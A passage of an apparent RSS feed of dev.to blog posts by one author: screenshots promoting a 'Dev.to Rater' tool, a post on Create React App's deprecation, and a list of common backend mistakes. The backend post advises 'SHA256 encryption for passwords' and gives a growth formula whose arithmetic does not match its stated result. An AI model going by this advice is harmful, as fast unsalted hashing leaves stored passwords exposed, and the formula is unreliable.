&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frcpfp3x5vi73a2ud7vja.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frcpfp3x5vi73a2ud7vja.png" alt="Dev.to Rater" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6gr1zmcaxq81126iv4on.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6gr1zmcaxq81126iv4on.png" alt="Dev.to Rater - Next-Gen Blog Scanner Tool. Analyze your blog post to uncover trends, engagement metrics, and content patterns. Gain insights to optimize your posts and reach a wider audience." width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8r4eagc45wbboo2jff2o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8r4eagc45wbboo2jff2o.png" alt="Dev.to Rater - Next-Gen Blog Scanner Tool. Analyze your blog post to uncover trends, engagement metrics, and content patterns. Gain insights to optimize your posts and reach a wider audience." width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fom2685yd70donz3jywyu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fom2685yd70donz3jywyu.png" alt="Dev.to Rater - Next-Gen Blog Scanner Tool. Analyze your blog post to uncover trends, engagement metrics, and content patterns. Gain insights to optimize your posts and reach a wider audience." width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3z1mdaikqv0twiifpnsa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3z1mdaikqv0twiifpnsa.png" alt="Dev.to Rater - Next-Gen Blog Scanner Tool. Analyze your blog post to uncover trends, engagement metrics, and content patterns. Gain insights to optimize your posts and reach a wider audience." width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjskno93sx1r2dgkq0fys.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjskno93sx1r2dgkq0fys.png" alt="Dev.to Rater blog posts" width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;a href="https://dev-to-rater.xyz/" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2FbJvBsD5Y%2Fcroppedz.png" width="800" height="195"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
      <category>beginners</category>
    </item>
    <item>
      <title>The end: Create React App (2016-2025)</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Tue, 18 Feb 2025 07:13:35 +0000</pubDate>
      <link>https://dev.to/dev-to-rater-org/the-end-create-react-app-2016-2025-3cdf</link>
      <guid>https://dev.to/dev-to-rater-org/the-end-create-react-app-2016-2025-3cdf</guid>
      <description>&lt;h2&gt;
  
  
  The Sunsetting of Create React App
&lt;/h2&gt;

&lt;p&gt;On February 14, 2025, React officially deprecated &lt;strong&gt;Create React App&lt;/strong&gt; (&lt;strong&gt;CRA&lt;/strong&gt;), marking the end of an era for React developers. For years, CRA was the go-to tool for bootstrapping new React projects.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why is Create React App Being Deprecated?
&lt;/h2&gt;

&lt;p&gt;React ecosystem has evolved significantly since CRA’s introduction in 2016. Modern frameworks and build tools have surpassed CRA in both &lt;u&gt;performance&lt;/u&gt; and &lt;u&gt;flexibility&lt;/u&gt;. With no active maintainers and better alternatives available, the React team decided to retire CRA. The React team is encouraging developers to migrate to frameworks like &lt;strong&gt;Next.js&lt;/strong&gt; or build tools like &lt;strong&gt;Vite&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Also because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CRA does not provide a routing system&lt;/li&gt;
&lt;li&gt;CRA lacks optimized data-fetching strategies&lt;/li&gt;
&lt;li&gt;CRA ships apps as a single JavaScript bundle, which can result in longer load times. Modern frameworks automatically handle code splitting&lt;/li&gt;
&lt;li&gt;CRA has lacked active maintainers&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What now?
&lt;/h2&gt;

&lt;p&gt;Starting today, developers installing &lt;strong&gt;Create React App&lt;/strong&gt; will see a deprecation warning:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;create-react-app is deprecated.

You can find a list of up-to-date React frameworks on react.dev
For more info see: react.dev/link/cra
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;CRA will still function in maintenance mode and has been updated to support React 19. However, no new features will be added, and developers are strongly encouraged to migrate to modern solutions.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Migrate Away from Create React App
&lt;/h2&gt;

&lt;p&gt;You can visit the official guide at the React blog post &lt;a href="https://react.dev/blog/2025/02/14/sunsetting-create-react-app" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Our tip:&lt;/strong&gt; If you're looking for the simplest and most efficient way to set up a new &lt;strong&gt;React&lt;/strong&gt; project after &lt;strong&gt;Create React App&lt;/strong&gt;'s deprecation, &lt;code&gt;React + Vite&lt;/code&gt; is the way to go. &lt;/p&gt;

&lt;p&gt;What are your thoughts on this change? Let’s discuss in the comments! 🚀&lt;/p&gt;




&lt;p&gt;&lt;a href="https://dev-to-rater.xyz/" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2FbJvBsD5Y%2Fcroppedz.png" width="800" height="195"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
      <category>react</category>
    </item>
    <item>
      <title>The biggest backend mistakes you can do</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Fri, 14 Feb 2025 09:13:35 +0000</pubDate>
      <link>https://dev.to/dev-to-rater-org/the-biggest-backend-mistakes-you-can-do-ki0</link>
      <guid>https://dev.to/dev-to-rater-org/the-biggest-backend-mistakes-you-can-do-ki0</guid>
      <description>&lt;p&gt;Hello, fellow devs! Welcome to the second part of our series how to become a better developer. You really liked the first part (&lt;a href="https://dev.to/dev-to-rater-org/the-biggest-frontend-mistakes-you-can-do-bng"&gt;The biggest frontend mistakes&lt;/a&gt;) sooo, voila! &lt;/p&gt;

&lt;p&gt;Today we will learn about common backend mistakes. I'll highlight some of these mistakes and show you how to avoid them.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. Missing security
&lt;/h3&gt;

&lt;p&gt;I intentionally set this as the first point. As a backend developer, you build the system. &lt;/p&gt;

&lt;p&gt;Of course, that system need to be secured. I can’t believe how many people still neglect security features like &lt;strong&gt;CORS&lt;/strong&gt; or &lt;strong&gt;Rate Limiting&lt;/strong&gt; in their applications, but sadly, it happens. These topics are crucial for protecting your system against vulnerability attacks. Below, I’ve made a checklist of essential topics to test your system with.&lt;/p&gt;

&lt;h4&gt;
  
  
  Security Checklist:
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Security Measures&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Network Security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Enable HSTS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Use SSL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Check SSL Version, Algorithms, Key length&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authentication &amp;amp; Session&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Use Secure cookies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Implement SHA256 encryption for passwords&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authorization &amp;amp; Access Control&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Implement CSRF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Test for bypassing authorization schema on forms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Input &amp;amp; Data Validation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Test for HTML and SQL Injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Test file extensions handling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Client-Side Security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Check for sensitive data in client-side code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Use reCAPTCHA whenever you can&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  2. Poor Database Design
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Lack of Proper Indexing&lt;/strong&gt;: Developers sometimes forget to add indexes or &lt;strong&gt;add too many&lt;/strong&gt;. Neither is good. You should find the &lt;strong&gt;right balance&lt;/strong&gt;. Without indexes, queries become slow as the database scans entire tables. On the other hand, excessive indexing increases storage use and slows down write operations. So be careful. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Our tip:&lt;/strong&gt; Add indexes only for columns that are queried frequently.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ignoring Scalability and Future Growth in the beggining&lt;/strong&gt;: Many developers design databases based on current needs without considering future growth. This leads to issues like lack of partitioning, poor choice of data types, and difficulty in handling high traffic loads later on. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Our tip:&lt;/strong&gt; You might think that spending a lot of time on database design is unnecessary, but it's not. Database planning requires you to think about current needs and for future growth. As in a previous example, here also, you need to strike for the right balance. We suggest using this formula:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;currentNeeds = 10GB // For example

myDatabase = currentNeeds x 0.20 // So add 20%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Practical Explanation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This formula helps you plan your database by accounting for not just your current needs, but also future growth.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;currentNeeds&lt;/code&gt; -&amp;gt; This is how much space or how many resources your database currently requires. Think of it as the size of your existing data or the capacity you need for your current operations.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;myDatabase&lt;/code&gt; -&amp;gt;  This is the final size or capacity of your database, which is the combination of your current needs and the additional buffer (20%).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, instead of just allocating &lt;strong&gt;10GB&lt;/strong&gt; for your database, you plan for &lt;strong&gt;12GB&lt;/strong&gt;. This &lt;strong&gt;20%&lt;/strong&gt; extra space accounts for growth, ensuring your database won't run out of space as you add more data or features over time. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Additional Considerations:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Column Choices:&lt;/strong&gt; Use appropriate data types. For example, instead of using a &lt;code&gt;VARCHAR(255)&lt;/code&gt; for a field that will never exceed &lt;strong&gt;100&lt;/strong&gt; characters, use &lt;code&gt;VARCHAR(100)&lt;/code&gt; to save space.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Growth Monitoring:&lt;/strong&gt; Continuously monitor your database's growth. You can set up &lt;code&gt;alerts&lt;/code&gt; based on &lt;u&gt;disk usage&lt;/u&gt;, &lt;u&gt;table size&lt;/u&gt;, and the &lt;u&gt;number of rows&lt;/u&gt;. More about database alerts you can find &lt;a href="https://www.metricfire.com/blog/receiving-mysql-database-alerts/" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By thinking ahead and allocating 20% more space for growth, you're avoiding potential problems related to database performance and the need for frequent redesigns.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Not Considering Caching
&lt;/h3&gt;

&lt;p&gt;Caching is an essential aspect of backend development, yet it's often overlooked.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why it’s important:
&lt;/h4&gt;

&lt;p&gt;Without caching, your system might become slow as more users access your app. Every time a request is made to the server, the system has to process the request fully, which can lead to latency and performance issues and surely you don't want that.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Our tip:&lt;/strong&gt; Use in-memory data stores like &lt;strong&gt;Redis&lt;/strong&gt; or Mem****cached to cache frequently accessed data (like product details or user sessions). Also remember to set expiration times and cache invalidation strategies to ensure that the cache is refreshed with the latest data.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Hardcoding Values
&lt;/h3&gt;

&lt;p&gt;Hardcoding values such as database connection strings, API keys, and other configuration parameters directly in your code is a common and &lt;strong&gt;BIG&lt;/strong&gt; mistake.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why it’s bad:
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;It makes the code harder to maintain.&lt;/li&gt;
&lt;li&gt;Exposing sensitive information, like API keys, in code can lead to security issues.&lt;/li&gt;
&lt;li&gt;If you need to change a configuration value, you’ll have to search through the entire codebase and update it everywhere.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bad ❌&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UserService&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;ConnectToDatabase&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Hardcoded connection string, making it difficult to change or secure&lt;/span&gt;
        &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;connectionString&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="c1"&gt;// Code to establish a connection...&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Good ✅&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UserService&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;ConnectToDatabase&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Use environment variable to get the connection string securely&lt;/span&gt;
        &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;connectionString&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetEnvironmentVariable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"DB_CONNECTION_STRING"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IsNullOrEmpty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connectionString&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Database connection string not found."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Code to establish a connection...&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  5. Not Using Version Control Properly
&lt;/h3&gt;

&lt;p&gt;If you write commit messages like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git commit -m "fix"
git commit -m "fix v1.2"
git commit -m "fix something"
git commit -m "fix bug"
git commit -m "change"
git commit -m "optimization"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Don't push.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why it’s bad:
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Other developers don't know what you've done in that commit without checking the changed files which requires time.&lt;/li&gt;
&lt;li&gt;By doing this you can easily have a lot of commits with same/similar message.&lt;/li&gt;
&lt;li&gt;When you need to revert to the old commit, and by seeing commit log like the above one, you cannot know to which one to reset.&lt;/li&gt;
&lt;li&gt;In the future you will not know for which part of the application was &lt;code&gt;fix&lt;/code&gt; commit, for example.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Good ✅&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git commit -m "chore: modify README.md file"
git commit -m "fix: user validation not working"
git commit -m "feat: user validation of create form"
git commit -m "docs: add our team page"
git commit -m "ui: add image swiper on the home page"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Bonus tip:&lt;/strong&gt; Always write commit messages in Present Tense. So instead of &lt;code&gt;changed&lt;/code&gt; write &lt;code&gt;change&lt;/code&gt;. You can learn about Conventional Commits &lt;a href="https://www.conventionalcommits.org/en/v1.0.0/" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  6. Not Separating Business Logic, Infrastructure, and Other Concerns
&lt;/h3&gt;

&lt;p&gt;One of the common mistakes backend developers make is not properly separating concerns in their codebase. Specifically, mixing business logic, infrastructure code, data access, and API routes into a single class or module.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why it’s bad:
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tight coupling:&lt;/strong&gt; When business logic is &lt;u&gt;tightly coupled&lt;/u&gt; with infrastructure code (such as database operations, third-party service integrations, etc.), it becomes difficult to test and maintain. A small change in the infrastructure may break your business logic.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hard to scale:&lt;/strong&gt; As your codebase grows, the lack of separation leads to more complexity, making it harder to scale the application and develop new features without breaking existing functionality.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Our tip:&lt;/strong&gt; Separate these concerns into different layers or components. This follows the &lt;strong&gt;Separation of Concerns (SoC)&lt;/strong&gt; principle and improves readability, scalability, and maintainability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt; Clean Architecture, Hexagonal Architecture, Layered Architecture, Microservices Architecture, CQRS, Event-Driven Architecture, Domain-Driven Architecture&lt;/p&gt;




&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;Keep these tips in mind as you continue your development journey, and remember: testing, optimizing, and following best practices will always pay off in the long run!&lt;/p&gt;

&lt;p&gt;If I forgot something or you liked the article, please leave a comment down below 💬&lt;/p&gt;

&lt;p&gt;Thanks for the reading :)&lt;/p&gt;




&lt;h3&gt;
  
  
  Support us on Product Hunt:
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.producthunt.com/posts/dev-to-rater-2?embed=true&amp;amp;utm_source=badge-featured&amp;amp;utm_medium=badge&amp;amp;utm_souce=badge-dev-to-rater-2" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fapi.producthunt.com%2Fwidgets%2Fembed-image%2Fv1%2Ffeatured.svg%3Fpost_id%3D873037%26theme%3Dlight%26t%3D1739525139145" alt="Dev.to Rater - Analyze blog posts to uncover trends and metrics | Product Hunt" width="250" height="54"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev-to-rater.xyz/" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2FbJvBsD5Y%2Fcroppedz.png" width="800" height="195"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>backend</category>
      <category>javascript</category>
    </item>
    <item>
      <title>I've made Tool That Analyzes your Dev.to Posts</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Tue, 11 Feb 2025 21:19:27 +0000</pubDate>
      <link>https://dev.to/dev-to-rater-org/ive-made-tool-that-analyzes-your-devto-posts-4nan</link>
      <guid>https://dev.to/dev-to-rater-org/ive-made-tool-that-analyzes-your-devto-posts-4nan</guid>
      <description>&lt;p&gt;Hello &lt;strong&gt;Dev.to&lt;/strong&gt; writers and readers, I'm presenting &lt;code&gt;Dev.to Rater&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Tool that I built using &lt;strong&gt;React.js&lt;/strong&gt; and &lt;strong&gt;Typescript&lt;/strong&gt;. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Live &lt;a href="https://dev-to-rater.xyz" rel="noopener noreferrer"&gt;Website&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Code on &lt;a href="https://github.com/perisicnikola37/dev-to-rater" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Demo video on &lt;a href="https://www.youtube.com/watch?v=4xgdVo1etFc&amp;amp;ab_channel=Dev-toRater" rel="noopener noreferrer"&gt;YouTube&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3zngmumhzxnfs6szixg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3zngmumhzxnfs6szixg.png" alt="Dev.to Rater" width="800" height="352"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Why did I create &lt;strong&gt;Dev.to Rater&lt;/strong&gt;?
&lt;/h3&gt;

&lt;p&gt;As a content creator on &lt;strong&gt;dev.to&lt;/strong&gt;, one of the biggest challenges I faced was figuring out whether my articles were engaging. &lt;/p&gt;

&lt;p&gt;This inspired me to build &lt;strong&gt;Dev.to Rater&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6oblvml32kk8ej7183nr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6oblvml32kk8ej7183nr.png" alt="Dev.to Rater exceeded sentences" width="800" height="421"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhxvdltg3igbk4i55j4ha.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhxvdltg3igbk4i55j4ha.png" alt="Dev.to Rater" width="800" height="504"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  🛠 About the project
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Dev.to Rater&lt;/strong&gt; analyzes your post content, such as &lt;strong&gt;headings&lt;/strong&gt;, &lt;strong&gt;paragraphs&lt;/strong&gt;, &lt;strong&gt;images&lt;/strong&gt;, and &lt;strong&gt;links&lt;/strong&gt;. It calculates the blog post score and tells you how to improve it.&lt;/p&gt;

&lt;p&gt;This tool makes your posts more &lt;u&gt;impactful&lt;/u&gt; and &lt;u&gt;engaging&lt;/u&gt;.&lt;/p&gt;

&lt;p&gt;All you have to do is put your &lt;strong&gt;dev.to&lt;/strong&gt; blog post URL in the input field and click "&lt;em&gt;Analyze&lt;/em&gt;". That's it! &lt;/p&gt;




&lt;h3&gt;
  
  
  How Dev.to Rater analyze posts?
&lt;/h3&gt;

&lt;p&gt;For now, we are measuring the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;heading length&lt;/li&gt;
&lt;li&gt;sentence length&lt;/li&gt;
&lt;li&gt;total characters&lt;/li&gt;
&lt;li&gt;reading time&lt;/li&gt;
&lt;li&gt;links frequency&lt;/li&gt;
